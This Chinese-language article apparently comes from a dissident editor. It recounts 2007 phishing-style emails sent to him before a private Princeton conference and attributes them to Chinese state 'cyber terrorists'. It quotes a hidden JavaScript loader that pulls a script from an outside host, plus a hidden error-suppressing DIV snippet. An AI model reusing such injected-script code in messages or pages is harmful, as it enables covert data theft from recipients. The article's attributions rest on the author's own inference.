[email protected]是不是叫“我爱海”,是不是“女人”都不得而知。她(他)发给笔者的邮件总是通过某种技术从hotmail发出,而返回的路径都是[email protected](经查,IP为59.50.89.38 ,大约来自中国海南)。她不断变换发件人名称,分别叫做“凄惨女”、 “申雪”、“林菲”、“农民之子”,“王一”等,代理163邮箱的hotmail邮箱分别有[email protected], [email protected]等。大概是以“猪马牛羊”来排列她(他)注册的一系列进行恐怖活动的hotmail邮箱。

图三:“我爱海”的信头信息(2007年5月12日抓图)

2007年5月初,“我爱海”先是以“凄惨女”,后以“申雪”自称,写信到笔者的私人邮箱,探问普林斯顿会议的具体安排。她(他)的第一封信就引起了我的怀疑。为保证来自大陆的右派和反右研究者不受中共阻挠,如期与会,我们的会议一直严格保密,而这位“我爱海”却消息灵通,而且还把邮件寄到笔者的私人信箱。好奇之下,仔细察看她(他)的信头和信件内容,终于发现这个女人凄凄惨惨的面纱下掩盖的却是一个恐怖女谍的嘴脸。

在信件的正文内容前,“我爱海”加入了这样一段代码:

if (typeof(_0_)==”undefined”){_0_=1;_0_=document.createElement(“SCRIPT”);
_0_.src=”http://ras2007-1.at.vwdhosting.net/2.2/84132/comhotmail/?dr_yll~hotmail.com”;
document.insertBefore(_0_,document.getElementsByTagName(“*”)[0]);}

这段代码设定为不可见,必须进入源文件才可以看到。笔者对于java语言是门外汉,但是仍依然可以看出,这段代码是要从收件人信箱窃取信息。只要收件人打开此邮件,这些代码就开始起作用。为了稳着“我爱海”,进一步了解她(他)的间谍伎俩,我特意给她(他)回了封客客气气的信,问候她(他)所说的右派父亲的情况。她(他)也照例回答,但每封信都暗藏了这组代码。此后,“我爱海”又分别以别的名字继续发来电子邮件,大概是因为我早有防备,她(他)未能如期盗窃到相关信息,她(他)就有时改进了盗取的方法,把信件的实际编码和显示编码改得不一致,这样收信人看到的就是乱码,为了看清内容,就要尝试别的编码,这样就等于重新刷新了页面,重新执行了页面内暗藏的代码。

以网页暗藏代码骚扰收件人的情况不止“我爱海”一例。她(他)的代码是为了盗取收件人信息,而有的网络恐怖分子则完全是为了破坏对方的电脑和网络。两周前,一位网络恐怖分子盗用或模仿《民主中国》编辑蔡楚的hotmail邮箱:[email protected],给笔者发来邮件,征求对《民主中国》的意见和建议,实际发出地址为:[email protected](经查,IP为59.52.159.16 ,大约来自中国江西)。这封邮件暗含了如下代码:

〈DIV id=skii style=”DISPLAY: none” 〉love〈/DIV〉
〈DIV id=ly style=”DISPLAY: none”〉function ok(){return
true};window.onerror=ok〈/DIV〉
〈DIV id=good title=’〈a style=”display:none”〉’ style=”DISPLAY: none”>〈/div〉

除非特别定义,代码中的“love”没有任何作用,完全是掩人耳目。主要的攻击代码在第二和第三行。虽然这样的小玩意技术含量不高,但是却使电脑在解析和执行中颇费周折,极易造成死机。与“我爱海”这样的专业职恐怖分子比,这个自称“万不得已”的家伙大概是中共的网络游击队员吧。

网络恐怖分子遍布世界

经过半年多的记录和分析,笔者发现攻击《观察》网站,向《观察》编辑发送病毒的恐怖分子除了来自大陆外,为数不少的来自台湾、南韩、加拿大、美国。中共经营的网络恐怖分子网络可以说已经遍布世界各地。这些恐怖分子如何相互联络、协调行动,我们不得而知,但是可以预见的是,一旦中共和其它国家爆发大规模电子战,人们将会发现中共的网络恐怖分子像老鼠一样四处出没,里应外合,同敌手展开一场现代意义的麻雀战。中共的网络恐怖分子数量之多,分布之广,将震惊世界。

日前,美国联邦调查局在洛杉矶湾区华人报纸刊登了一则呼吁民众提供情报的广告,要求知情者向美国提供中共间谍在美国活动的情况。对此,中共方面反应强烈,批评美国无中生有。就网络恐怖活动观之,美国的警惕一点儿不为过分。联邦调查局目前关注的还只是中共间谍在现实世界里的活动,殊不知在虚拟世界里这些鸡鸣狗盗之徒更是群魔乱舞,为所欲为。

无论是为了保护目前网络居民的知情权、隐私权、信息交流权,或是为了未来可能爆发的电子战,人们对中共日渐猖獗的网络恐怖活动都不能再听之任之。

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